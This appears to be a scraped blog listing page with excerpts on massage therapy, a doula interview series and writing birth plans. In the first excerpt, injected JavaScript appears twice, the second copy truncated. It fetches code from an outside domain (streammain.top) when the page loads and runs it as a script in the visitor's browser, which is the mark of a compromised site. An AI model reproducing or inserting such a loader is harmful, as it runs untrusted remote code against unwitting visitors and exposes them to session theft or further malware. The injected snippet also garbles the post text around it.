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Don’t Tell Me To Relax

I stopped using the word relax in 1989 when I became a licensed massage therapist.  In working on and with my massage therapy clients, I quickly learned the word had little or no meaning to people.;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });;document.addEventListener("DOMContentLoaded", function () { ...

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Ana Paula Markel

I started the “Who BEcomes A Doula?” Series because I wanted know more about what compels a woman (or a man) to become a birth doula? ~Who is drawn to this work and what kind of work (or life) did they have before they became a birth doula? ~What makes them continue? ~Is there something about our personalities that leads us to find a way to connect with, care for and support women at that uniquely vulnerable and joyous time of birth? ~And for fun, some questions and photos that give us a glimpse into the moments and meanings in their lives. For this project, I have chosen to interview doulas all over the world. Some are new to this work. Some are seasoned and ‘reasoned’ – my way of...

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Writing Your Birth Plan

There are many out there who think either:   a birth plan is essential and you should NEVER go into labor without one and you should write EVERYTHING you desire (and don’t desire) in that document.   OR   you can’t “plan” birth, and people who try to are setting themselves up for disappointment (or at least conflict) and, as a result, care providers often don’t pay much attention to them.   As you might imagine, I believe there is, at least, a third way to look at the concept of a birth plan and that the process of writing it is as valuable as the document itself. For some context, let’s look at the history of birth plans. In 1980, Penny Simkin and Carla Reinke presented the birth plan as part of...

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Healthy Birth Practice #2: Walk, Move, Change Positions

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